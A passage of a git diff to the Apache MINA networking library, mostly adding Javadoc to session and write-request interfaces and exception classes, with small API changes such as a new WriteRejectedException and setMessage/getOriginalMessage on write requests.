getReaderIdleTimeInMillis(); - + /** * Sets idle time for {@link IdleStatus#READER_IDLE} in seconds. + * + * @param idleTime The time to set */ void setReaderIdleTime(int idleTime); - + /** - * Returns idle time for {@link IdleStatus#WRITER_IDLE} in seconds. + * Get the write idle time + * + * @return idle time for {@link IdleStatus#WRITER_IDLE} in seconds. */ int getWriterIdleTime(); - + /** - * Returns idle time for {@link IdleStatus#WRITER_IDLE} in milliseconds. + * Get the write idle time in milliseconds + * + * @return idle time for {@link IdleStatus#WRITER_IDLE} in milliseconds. */ long getWriterIdleTimeInMillis(); - + /** * Sets idle time for {@link IdleStatus#WRITER_IDLE} in seconds. + * + * @param idleTime The time to set */ void setWriterIdleTime(int idleTime); - + /** - * Returns idle time for {@link IdleStatus#BOTH_IDLE} in seconds. + * Get the idle time for reads and writes + * + * @return idle time for {@link IdleStatus#BOTH_IDLE} in seconds. */ int getBothIdleTime(); - + /** - * Returns idle time for {@link IdleStatus#BOTH_IDLE} in milliseconds. + * Get the idle time in milliseconds + * + * @return idle time for {@link IdleStatus#BOTH_IDLE} in milliseconds. */ long getBothIdleTimeInMillis(); - + /** * Sets idle time for {@link IdleStatus#WRITER_IDLE} in seconds. + * + * @param idleTime The time to set */ void setBothIdleTime(int idleTime); - + /** - * Returns write timeout in seconds. + * Get the write timeout in seconds. + * + * @return write timeout in seconds. */ int getWriteTimeout(); /** - * Returns write timeout in milliseconds. + * Get the write timeout in milliseconds. + * + * @return write timeout in milliseconds. */ long getWriteTimeoutInMillis(); /** * Sets write timeout in seconds. + * + * @param writeTimeout The timeout to set */ void setWriteTimeout(int writeTimeout); - + /** - * Returns true if and only if {@link IoSession#read()} operation + * Tell if the read operation is enabled + * + * @return true if and only if {@link IoSession#read()} operation * is enabled. If enabled, all received messages are stored in an internal * {@link BlockingQueue} so you can read received messages in more * convenient way for client applications. Enabling this option is not @@ -173,7 +228,7 @@ public interface IoSessionConfig { * therefore it's disabled by default. */ boolean isUseReadOperation(); - + /** * Enables or disabled {@link IoSession#read()} operation. If enabled, all * received messages are stored in an internal {@link BlockingQueue} so you @@ -181,12 +236,16 @@ public interface IoSessionConfig { * applications. Enabling this option is not useful to server applications * and can cause unintended memory leak, and therefore it's disabled by * default. + * + * @param useReadOperation true if the read operation is enabled, false otherwise */ void setUseReadOperation(boolean useReadOperation); /** * Sets all configuration properties retrieved from the specified - * config. + * config. + * + * @param config The configuration to use */ void setAll(IoSessionConfig config); } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionDataStructureFactory.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionDataStructureFactory.java index 7ec1d478e0..7f599e509c 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionDataStructureFactory.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionDataStructureFactory.java @@ -31,19 +31,25 @@ */ public interface IoSessionDataStructureFactory { /** - * Returns an {@link IoSessionAttributeMap} which is going to be associated - * with the specified session. Please note that the returned + * @return an {@link IoSessionAttributeMap} which is going to be associated + * with the specified session. Please note that the returned * implementation must be thread-safe. + * + * @param session The session for which we want the Attribute Map + * @throws Exception If an error occured while retrieving the map */ IoSessionAttributeMap getAttributeMap(IoSession session) throws Exception; - + /** - * Returns an {@link WriteRequest} which is going to be associated with - * the specified session. Please note that the returned + * @return an {@link WriteRequest} which is going to be associated with + * the specified session. Please note that the returned * implementation must be thread-safe and robust enough to deal * with various messages types (even what you didn't expect at all), * especially when you are going to implement a priority queue which * involves {@link Comparator}. + * + * @param session The session for which we want the WriteRequest queue + * @throws Exception If an error occured while retrieving the queue */ WriteRequestQueue getWriteRequestQueue(IoSession session) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializationException.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializationException.java index f5fc3b7156..cae2582249 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializationException.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializationException.java @@ -28,18 +28,37 @@ public class IoSessionInitializationException extends RuntimeException { private static final long serialVersionUID = -1205810145763696189L; + /** + * Creates a new IoSessionInitializationException instance. + */ public IoSessionInitializationException() { super(); } + /** + * Creates a new IoSessionInitializationException instance. + * + * @param message The detail message + * @param cause The Exception's cause + */ public IoSessionInitializationException(String message, Throwable cause) { super(message, cause); } + /** + * Creates a new IoSessionInitializationException instance. + * + * @param message The detail message + */ public IoSessionInitializationException(String message) { super(message); } + /** + * Creates a new IoSessionInitializationException instance. + * + * @param cause The Exception's cause + */ public IoSessionInitializationException(Throwable cause) { super(cause); } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializer.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializer.java index c9ccbc3a70..6983d03509 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializer.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionInitializer.java @@ -24,9 +24,17 @@ /** * Defines a callback for obtaining the {@link IoSession} during * session initialization. + * + * @param The IoFuture type * * @author Apache MINA Project */ public interface IoSessionInitializer { + /** + * Initialize a session + * + * @param session The IoSession to initialize + * @param future The IoFuture to inform when the session has been initialized + */ void initializeSession(IoSession session, T future); } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionRecycler.java b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionRecycler.java index 3b6be2434d..1db3eba03e 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/IoSessionRecycler.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/IoSessionRecycler.java @@ -28,7 +28,6 @@ * {@link IoSessionRecycler} to an {@link IoService}. * * @author Apache MINA Project - * TODO More documentation */ public interface IoSessionRecycler { /** @@ -36,16 +35,27 @@ public interface IoSessionRecycler { * make all session lifecycle events to be fired for every I/O for all connectionless * sessions. */ - static IoSessionRecycler NOOP = new IoSessionRecycler() { + IoSessionRecycler NOOP = new IoSessionRecycler() { + /** + * {@inheritDoc} + */ + @Override public void put(IoSession session) { // Do nothing } - public IoSession recycle(SocketAddress localAddress, - SocketAddress remoteAddress) { + /** + * {@inheritDoc} + */ + @Override + public IoSession recycle(SocketAddress remoteAddress, int port) { return null; } + /** + * {@inheritDoc} + */ + @Override public void remove(IoSession session) { // Do nothing } @@ -54,29 +64,23 @@ public void remove(IoSession session) { /** * Called when the underlying transport creates or writes a new {@link IoSession}. * - * @param session - * the new {@link IoSession}. + * @param session the new {@link IoSession}. */ void put(IoSession session); /** * Attempts to retrieve a recycled {@link IoSession}. * - * @param localAddress - * the local socket address of the {@link IoSession} the - * transport wants to recycle. - * @param remoteAddress - * the remote socket address of the {@link IoSession} the - * transport wants to recycle. + * @param remoteAddress the remote socket address of the {@link IoSession} the transport wants to recycle. + * @param port The port the Accpetor is listening on * @return a recycled {@link IoSession}, or null if one cannot be found. */ - IoSession recycle(SocketAddress localAddress, SocketAddress remoteAddress); + IoSession recycle(SocketAddress remoteAddress, int port); /** * Called when an {@link IoSession} is explicitly closed. * - * @param session - * the new {@link IoSession}. + * @param session the new {@link IoSession}. */ void remove(IoSession session); } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/SessionState.java b/mina-core/src/main/java/org/apache/mina/core/session/SessionState.java index 63c8d8f7f2..f087622fd3 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/SessionState.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/SessionState.java @@ -29,9 +29,13 @@ * * @author Apache MINA Project */ -public enum SessionState -{ - OPENING, +public enum SessionState { + /** Session being created, not yet completed */ + OPENING, + + /** Opened session */ OPENED, - CLOSING + + /** A session being closed */ + CLOSING } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/session/UnknownMessageTypeException.java b/mina-core/src/main/java/org/apache/mina/core/session/UnknownMessageTypeException.java index 91bd5daea4..97cdf4a05a 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/UnknownMessageTypeException.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/UnknownMessageTypeException.java @@ -19,7 +19,6 @@ */ package org.apache.mina.core.session; - /** * An exception that is thrown when the type of the message cannot be determined. * @@ -28,18 +27,37 @@ public class UnknownMessageTypeException extends RuntimeException { private static final long serialVersionUID = 3257290227428047158L; + /** + * Creates a new UnknownMessageTypeException instance. + */ public UnknownMessageTypeException() { // Do nothing } + /** + * Creates a new UnknownMessageTypeException instance. + * + * @param message The detail message + * @param cause The Exception's cause + */ public UnknownMessageTypeException(String message, Throwable cause) { super(message, cause); } + /** + * Creates a new UnknownMessageTypeException instance. + * + * @param message The detail message + */ public UnknownMessageTypeException(String message) { super(message); } + /** + * Creates a new UnknownMessageTypeException instance. + * + * @param cause The Exception's cause + */ public UnknownMessageTypeException(Throwable cause) { super(cause); } diff --git a/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java b/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java index 425b669d6d..afc2b2ad97 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java @@ -22,6 +22,7 @@ import java.net.SocketAddress; import java.util.concurrent.TimeUnit; +import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.future.IoFutureListener; import org.apache.mina.core.future.WriteFuture; import org.apache.mina.core.session.IoSession; @@ -32,83 +33,163 @@ * @author Apache MINA Project */ public class DefaultWriteRequest implements WriteRequest { + /** An empty message */ + public static final byte[] EMPTY_MESSAGE = new byte[] {}; + + /** An empty FUTURE */ private static final WriteFuture UNUSED_FUTURE = new WriteFuture() { + /** + * {@inheritDoc} + */ + @Override public boolean isWritten() { return false; } + /** + * {@inheritDoc} + */ + @Override public void setWritten() { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public IoSession getSession() { return null; } + /** + * {@inheritDoc} + */ + @Deprecated + @Override public void join() { // Do nothing } + /** + * {@inheritDoc} + */ + @Deprecated + @Override public boolean join(long timeoutInMillis) { return true; } + /** + * {@inheritDoc} + */ + @Override public boolean isDone() { return true; } + /** + * {@inheritDoc} + */ + @Override public WriteFuture addListener(IoFutureListener listener) { - throw new IllegalStateException( - "You can't add a listener to a dummy future."); + throw new IllegalStateException("You can't add a listener to a dummy future."); } + /** + * {@inheritDoc} + */ + @Override public WriteFuture removeListener(IoFutureListener listener) { - throw new IllegalStateException( - "You can't add a listener to a dummy future."); + throw new IllegalStateException("You can't add a listener to a dummy future."); } + /** + * {@inheritDoc} + */ + @Override public WriteFuture await() throws InterruptedException { return this; } - public boolean await(long timeout, TimeUnit unit) - throws InterruptedException { + /** + * {@inheritDoc} + */ + @Override + public boolean await(long timeout, TimeUnit unit) throws InterruptedException { return true; } + /** + * {@inheritDoc} + */ + @Override public boolean await(long timeoutMillis) throws InterruptedException { return true; } + /** + * {@inheritDoc} + */ + @Override public WriteFuture awaitUninterruptibly() { return this; } + /** + * {@inheritDoc} + */ + @Override public boolean awaitUninterruptibly(long timeout, TimeUnit unit) { return true; } + /** + * {@inheritDoc} + */ + @Override public boolean awaitUninterruptibly(long timeoutMillis) { return true; } + /** + * {@inheritDoc} + */ + @Override public Throwable getException() { return null; } + /** + * {@inheritDoc} + */ + @Override public void setException(Throwable cause) { // Do nothing } }; - private final Object message; + /** + * The original message as it was written by the IoHandler. It will be sent back + * in the messageSent event + */ + private final Object originalMessage; + + /** The message that will ultimately be written to the remote peer */ + private Object message; + + /** The associated Future */ private final WriteFuture future; + + /** The peer destination (useless ???) */ private final SocketAddress destination; /** * Creates a new instance without {@link WriteFuture}. You'll get * an instance of {@link WriteFuture} even if you called this constructor * because {@link #getFuture()} will return a bogus future. + * + * @param message The message that will be written */ public DefaultWriteRequest(Object message) { this(message, null, null); @@ -116,6 +197,9 @@ public DefaultWriteRequest(Object message) { /** * Creates a new instance with {@link WriteFuture}. + * + * @param message The message that will be written + * @param future The associated {@link WriteFuture} */ public DefaultWriteRequest(Object message, WriteFuture future) { this(message, future, null); @@ -129,8 +213,7 @@ public DefaultWriteRequest(Object message, WriteFuture future) { * @param destination the destination of the message. This property will be * ignored unless the transport supports it. */ - public DefaultWriteRequest(Object message, WriteFuture future, - SocketAddress destination) { + public DefaultWriteRequest(Object message, WriteFuture future, SocketAddress destination) { if (message == null) { throw new IllegalArgumentException("message"); } @@ -140,22 +223,67 @@ public DefaultWriteRequest(Object message, WriteFuture future, } this.message = message; + this.originalMessage = message; + + if (message instanceof IoBuffer) { + // duplicate it, so that any modification made on it + // won't change the original message + this.message = ((IoBuffer)message).duplicate(); + } + + this.future = future; this.destination = destination; } + /** + * {@inheritDoc} + */ + @Override public WriteFuture getFuture() { return future; } + /** + * {@inheritDoc} + */ + @Override public Object getMessage() { return message; } + /** + * {@inheritDoc} + */ + @Override + public void setMessage(Object modifiedMessage) { + message = modifiedMessage; + } + + /** + * {@inheritDoc} + */ + @Override + public Object getOriginalMessage() { + if (originalMessage != null) { + return originalMessage; + } else { + return message; + } + } + + /** + * {@inheritDoc} + */ + @Override public WriteRequest getOriginalRequest() { return this; } + /** + * {@inheritDoc} + */ + @Override public SocketAddress getDestination() { return destination; } @@ -163,18 +291,17 @@ public SocketAddress getDestination() { @Override public String toString() { StringBuilder sb = new StringBuilder(); - + sb.append("WriteRequest: "); // Special case for the CLOSE_REQUEST writeRequest : it just // carries a native Object instance - if (message.getClass().getName().equals(Object.class.getName()) ) { + if (message.getClass().getName().equals(Object.class.getName())) { sb.append("CLOSE_REQUEST"); } else { - if (getDestination() == null) { - sb.append(message); - } else { - sb.append(message); + sb.append(originalMessage); + + if (getDestination() != null) { sb.append(" => "); sb.append(getDestination()); } @@ -183,8 +310,11 @@ public String toString() { return sb.toString(); } - public boolean isEncoded() - { + /** + * {@inheritDoc} + */ + @Override + public boolean isEncoded() { return false; } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/write/NothingWrittenException.java b/mina-core/src/main/java/org/apache/mina/core/write/NothingWrittenException.java index 746a9a4b97..6ccf9c7a62 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/NothingWrittenException.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/NothingWrittenException.java @@ -21,7 +21,6 @@ import java.util.Collection; - /** * An exception which is thrown when one or more write requests resulted * in no actual write operation. @@ -32,37 +31,82 @@ public class NothingWrittenException extends WriteException { private static final long serialVersionUID = -6331979307737691005L; - public NothingWrittenException(Collection requests, - String message, Throwable cause) { + /** + * Create a new NothingWrittenException instance + * + * @param requests The {@link WriteRequest}s that haven't been written + * @param message The error message + * @param cause The original exception + */ + public NothingWrittenException(Collection requests, String message, Throwable cause) { super(requests, message, cause); } - public NothingWrittenException(Collection requests, String s) { - super(requests, s); + /** + * Create a new NothingWrittenException instance + * + * @param requests The {@link WriteRequest}s that haven't been written + * @param message The error message + */ + public NothingWrittenException(Collection requests, String message) { + super(requests, message); } - public NothingWrittenException(Collection requests, - Throwable cause) { + /** + * Create a new NothingWrittenException instance + * + * @param requests The {@link WriteRequest} that haven't been written + * @param cause The original exception + */ + public NothingWrittenException(Collection requests, Throwable cause) { super(requests, cause); } + /** + * Create a new NothingWrittenException instance + * + * @param requests The {@link WriteRequest} that haven't been written + */ public NothingWrittenException(Collection requests) { super(requests); } - public NothingWrittenException(WriteRequest request, String message, - Throwable cause) { + /** + * Create a new NothingWrittenException instance + * + * @param request The {@link WriteRequest} that hasn't been written + * @param message The error message + * @param cause The original exception + */ + public NothingWrittenException(WriteRequest request, String message, Throwable cause) { super(request, message, cause); } - public NothingWrittenException(WriteRequest request, String s) { - super(request, s); + /** + * Create a new NothingWrittenException instance + * + * @param request The {@link WriteRequest} that hasn't been written + * @param message The error message + */ + public NothingWrittenException(WriteRequest request, String message) { + super(request, message); } + /** + * Create a new NothingWrittenException instance + * + * @param request The {@link WriteRequest} that hasn't been written + * @param cause The original exception + */ public NothingWrittenException(WriteRequest request, Throwable cause) { super(request, cause); } + /** + * Create a new NothingWrittenException instance + * + * @param request The {@link WriteRequest} that hasn't been written + */ public NothingWrittenException(WriteRequest request) { super(request); } diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteException.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteException.java index 8f1e8b337d..a2cd244577 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/WriteException.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/WriteException.java @@ -30,18 +30,21 @@ import org.apache.mina.util.MapBackedSet; /** - * An exception which is thrown when one or more write operations were failed. + * An exception which is thrown when one or more write operations failed. * * @author Apache MINA Project */ public class WriteException extends IOException { - + /** The mandatory serialVersionUUID */ private static final long serialVersionUID = -4174407422754524197L; - + + /** The list of WriteRequest stored in this exception */ private final List requests; /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param request The associated {@link WriteRequest} */ public WriteException(WriteRequest request) { super(); @@ -49,15 +52,22 @@ public WriteException(WriteRequest request) { } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param request The associated {@link WriteRequest} + * @param message The detail message */ - public WriteException(WriteRequest request, String s) { - super(s); + public WriteException(WriteRequest request, String message) { + super(message); this.requests = asRequestList(request); } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param request The associated {@link WriteRequest} + * @param message The detail message + * @param cause The Exception's cause */ public WriteException(WriteRequest request, String message, Throwable cause) { super(message); @@ -66,7 +76,10 @@ public WriteException(WriteRequest request, String message, Throwable cause) { } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param request The associated {@link WriteRequest} + * @param cause The Exception's cause */ public WriteException(WriteRequest request, Throwable cause) { initCause(cause); @@ -74,7 +87,9 @@ public WriteException(WriteRequest request, Throwable cause) { } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param requests The collection of {@link WriteRequest}s */ public WriteException(Collection requests) { super(); @@ -82,15 +97,22 @@ public WriteException(Collection requests) { } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param requests The collection of {@link WriteRequest}s + * @param message The detail message */ - public WriteException(Collection requests, String s) { - super(s); + public WriteException(Collection requests, String message) { + super(message); this.requests = asRequestList(requests); } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param requests The collection of {@link WriteRequest}s + * @param message The detail message + * @param cause The Exception's cause */ public WriteException(Collection requests, String message, Throwable cause) { super(message); @@ -99,7 +121,10 @@ public WriteException(Collection requests, String message, Throwab } /** - * Creates a new exception. + * Creates a new WriteException instance. + * + * @param requests The collection of {@link WriteRequest}s + * @param cause The Exception's cause */ public WriteException(Collection requests, Throwable cause) { initCause(cause); @@ -107,43 +132,46 @@ public WriteException(Collection requests, Throwable cause) { } /** - * Returns the list of the failed {@link WriteRequest}, in the order of occurrance. + * @return the list of the failed {@link WriteRequest}, in the order of occurrence. */ public List getRequests() { return requests; } /** - * Returns the firstly failed {@link WriteRequest}. + * @return the firstly failed {@link WriteRequest}. */ public WriteRequest getRequest() { return requests.get(0); } - + private static List asRequestList(Collection requests) { if (requests == null) { throw new IllegalArgumentException("requests"); } + if (requests.isEmpty()) { throw new IllegalArgumentException("requests is empty."); } // Create a list of requests removing duplicates. - Set newRequests = new MapBackedSet(new LinkedHashMap()); - for (WriteRequest r: requests) { + Set newRequests = new MapBackedSet<>(new LinkedHashMap<>()); + + for (WriteRequest r : requests) { newRequests.add(r.getOriginalRequest()); } - - return Collections.unmodifiableList(new ArrayList(newRequests)); + + return Collections.unmodifiableList(new ArrayList<>(newRequests)); } private static List asRequestList(WriteRequest request) { if (request == null) { throw new IllegalArgumentException("request"); } - - List requests = new ArrayList(1); + + List requests = new ArrayList<>(1); requests.add(request.getOriginalRequest()); + return Collections.unmodifiableList(requests); } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteRejectedException.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteRejectedException.java new file mode 100644 index 0000000000..b21a259637 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/write/WriteRejectedException.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core.write; + +import java.util.Collection; + +/** + * An exception thrown whe a write is rejected + * + * @author Apache MINA Project + */ +public class WriteRejectedException extends WriteException { + private static final long serialVersionUID = 6272160412793858438L; + + /** + * Create a new WriteRejectedException instance + * + * @param requests The {@link WriteRequest} which has been rejected + * @param message The error message + */ + public WriteRejectedException(WriteRequest requests, String message) { + super(requests, message); + } + + /** + * Create a new WriteRejectedException instance + * + * @param requests The {@link WriteRequest} which has been rejected + */ + public WriteRejectedException(WriteRequest requests) { + super(requests); + } + + /** + * Create a new WriteRejectedException instance + * + * @param requests The {@link WriteRequest} which has been rejected + */ + public WriteRejectedException(Collection requests) { + super(requests); + } + + /** + * Create a new WriteRejectedException instance + * + * @param requests The {@link WriteRequest} which has been rejected + * @param message The error message + */ + public WriteRejectedException(Collection requests, String message) { + super(requests, message); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteRequest.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteRequest.java index 410616ba61..a9443057f8 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/WriteRequest.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/WriteRequest.java @@ -32,32 +32,44 @@ */ public interface WriteRequest { /** - * Returns the {@link WriteRequest} which was requested originally, + * @return the {@link WriteRequest} which was requested originally, * which is not transformed by any {@link IoFilter}. */ WriteRequest getOriginalRequest(); /** - * Returns {@link WriteFuture} that is associated with this write request. + * @return {@link WriteFuture} that is associated with this write request. */ WriteFuture getFuture(); - + /** - * Returns a message object to be written. + * @return a message object to be written. */ Object getMessage(); + /** + * Set the modified message after it has been processed by a filter. + * @param modifiedMessage The modified message + */ + void setMessage(Object modifiedMessage); + /** * Returns the destination of this write request. * - * @return null for the default destination + * @return null for the default destination */ SocketAddress getDestination(); - + /** * Tells if the current message has been encoded * * @return true if the message has already been encoded */ boolean isEncoded(); + + /** + * @return the original message which was sent to the session, before + * any filter transformation. + */ + Object getOriginalMessage(); } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestQueue.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestQueue.java index 40b736aa99..37763e4780 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestQueue.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestQueue.java @@ -21,7 +21,6 @@ import org.apache.mina.core.session.IoSession; - /** * Stores {@link WriteRequest}s which are queued to an {@link IoSession}. * @@ -31,35 +30,40 @@ public interface WriteRequestQueue { /** * Get the first request available in the queue for a session. - * @param session The session - * @return The first available request, if any. + * @param session The session + * @return The first available request, if any. */ WriteRequest poll(IoSession session); - + /** * Add a new WriteRequest to the session write's queue * @param session The session * @param writeRequest The writeRequest to add */ void offer(IoSession session, WriteRequest writeRequest); - + /** * Tells if the WriteRequest queue is empty or not for a session * @param session The session to check * @return true if the writeRequest is empty */ boolean isEmpty(IoSession session); - + /** * Removes all the requests from this session's queue. * @param session The associated session */ void clear(IoSession session); - + /** * Disposes any releases associated with the specified session. * This method is invoked on disconnection. * @param session The associated session */ void dispose(IoSession session); + + /** + * @return the number of objects currently stored in the queue. + */ + int size(); } diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestWrapper.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestWrapper.java deleted file mode 100644 index 2feefd9060..0000000000 --- a/mina-core/src/main/java/org/apache/mina/core/write/WriteRequestWrapper.java +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.core.write; - -import java.net.SocketAddress; - -import org.apache.mina.core.future.WriteFuture; - -/** - * A wrapper for an existing {@link WriteRequest}. - * - * @author Apache MINA Project - */ -public class WriteRequestWrapper implements WriteRequest { - - private final WriteRequest parentRequest; - - /** - * Creates a new instance that wraps the specified request. - */ - public WriteRequestWrapper(WriteRequest parentRequest) { - if (parentRequest == null) { - throw new IllegalArgumentException("parentRequest"); - } - this.parentRequest = parentRequest; - } - - public SocketAddress getDestination() { - return parentRequest.getDestination(); - } - - public WriteFuture getFuture() { - return parentRequest.getFuture(); - } - - public Object getMessage() { - return parentRequest.getMessage(); - } - - public WriteRequest getOriginalRequest() { - return parentRequest.getOriginalRequest(); - } - - /** - * Returns the wrapped request object. - */ - public WriteRequest getParentRequest() { - return parentRequest; - } - - @Override - public String toString() { - return "WR Wrapper" + parentRequest.toString(); - } - - public boolean isEncoded() - { - return false; - } -} diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteTimeoutException.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteTimeoutException.java index 36ac4df549..0d592b63a9 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/WriteTimeoutException.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/WriteTimeoutException.java @@ -33,37 +33,82 @@ public class WriteTimeoutException extends WriteException { private static final long serialVersionUID = 3906931157944579121L; - public WriteTimeoutException(Collection requests, - String message, Throwable cause) { + /** + * Create a new WriteTimeoutException instance + * + * @param requests The {@link WriteRequest}s for which we have had a timeout + * @param message The error message + * @param cause The original exception + */ + public WriteTimeoutException(Collection requests, String message, Throwable cause) { super(requests, message, cause); } - public WriteTimeoutException(Collection requests, String s) { - super(requests, s); + /** + * Create a new WriteTimeoutException instance + * + * @param requests The {@link WriteRequest}s for which we have had a timeout + * @param message The error message + */ + public WriteTimeoutException(Collection requests, String message) { + super(requests, message); } - public WriteTimeoutException(Collection requests, - Throwable cause) { + /** + * Create a new WriteTimeoutException instance + * + * @param requests The {@link WriteRequest}s for which we have had a timeout + * @param cause The original exception + */ + public WriteTimeoutException(Collection requests, Throwable cause) { super(requests, cause); } + /** + * Create a new WriteTimeoutException instance + * + * @param requests The {@link WriteRequest}s for which we have had a timeout + */ public WriteTimeoutException(Collection requests) { super(requests); } - public WriteTimeoutException(WriteRequest request, String message, - Throwable cause) { + /** + * Create a new WriteTimeoutException instance + * + * @param request The {@link WriteRequest} for which we have had a timeout + * @param message The error message + * @param cause The original exception + */ + public WriteTimeoutException(WriteRequest request, String message, Throwable cause) { super(request, message, cause); } - public WriteTimeoutException(WriteRequest request, String s) { - super(request, s); + /** + * Create a new WriteTimeoutException instance + * + * @param request The {@link WriteRequest} for which we have had a timeout + * @param message The error message + */ + public WriteTimeoutException(WriteRequest request, String message) { + super(request, message); } + /** + * Create a new WriteTimeoutException instance + * + * @param request The {@link WriteRequest} for which we have had a timeout + * @param cause The original exception + */ public WriteTimeoutException(WriteRequest request, Throwable cause) { super(request, cause); } + /** + * Create a new WriteTimeoutException instance + * + * @param request The {@link WriteRequest} for which we have had a timeout + */ public WriteTimeoutException(WriteRequest request) { super(request); } diff --git a/mina-core/src/main/java/org/apache/mina/core/write/WriteToClosedSessionException.java b/mina-core/src/main/java/org/apache/mina/core/write/WriteToClosedSessionException.java index 3934fcd366..13c240c502 100644 --- a/mina-core/src/main/java/org/apache/mina/core/write/WriteToClosedSessionException.java +++ b/mina-core/src/main/java/org/apache/mina/core/write/WriteToClosedSessionException.java @@ -21,7 +21,6 @@ import java.util.Collection; - /** * An exception which is thrown when one or more write operations were * attempted on a closed session. @@ -32,38 +31,83 @@ public class WriteToClosedSessionException extends WriteException { private static final long serialVersionUID = 5550204573739301393L; - public WriteToClosedSessionException(Collection requests, - String message, Throwable cause) { + /** + * Create a new WriteToClosedSessionException instance + * + * @param requests The {@link WriteRequest}s which have been written on a closed session + * @param message The error message + * @param cause The original exception + */ + public WriteToClosedSessionException(Collection requests, String message, Throwable cause) { super(requests, message, cause); } - public WriteToClosedSessionException(Collection requests, - String s) { - super(requests, s); + /** + * Create a new WriteToClosedSessionException instance + * + * @param requests The {@link WriteRequest}s which have been written on a closed session + * @param message The error message + */ + public WriteToClosedSessionException(Collection requests, String message) { + super(requests, message); } - public WriteToClosedSessionException(Collection requests, - Throwable cause) { + /** + * Create a new WriteToClosedSessionException instance + * + * @param requests The {@link WriteRequest}s which have been written on a closed session + * @param cause The original exception + */ + public WriteToClosedSessionException(Collection requests, Throwable cause) { super(requests, cause); } + /** + * Create a new WriteToClosedSessionException instance + * + * @param requests The {@link WriteRequest}s which have been written on a closed session + */ public WriteToClosedSessionException(Collection requests) { super(requests); } - public WriteToClosedSessionException(WriteRequest request, String message, - Throwable cause) { + /** + * Create a new WriteToClosedSessionException instance + * + * @param request The {@link WriteRequest} which has been written on a closed session + * @param message The error message + * @param cause The original exception + */ + public WriteToClosedSessionException(WriteRequest request, String message, Throwable cause) { super(request, message, cause); } - public 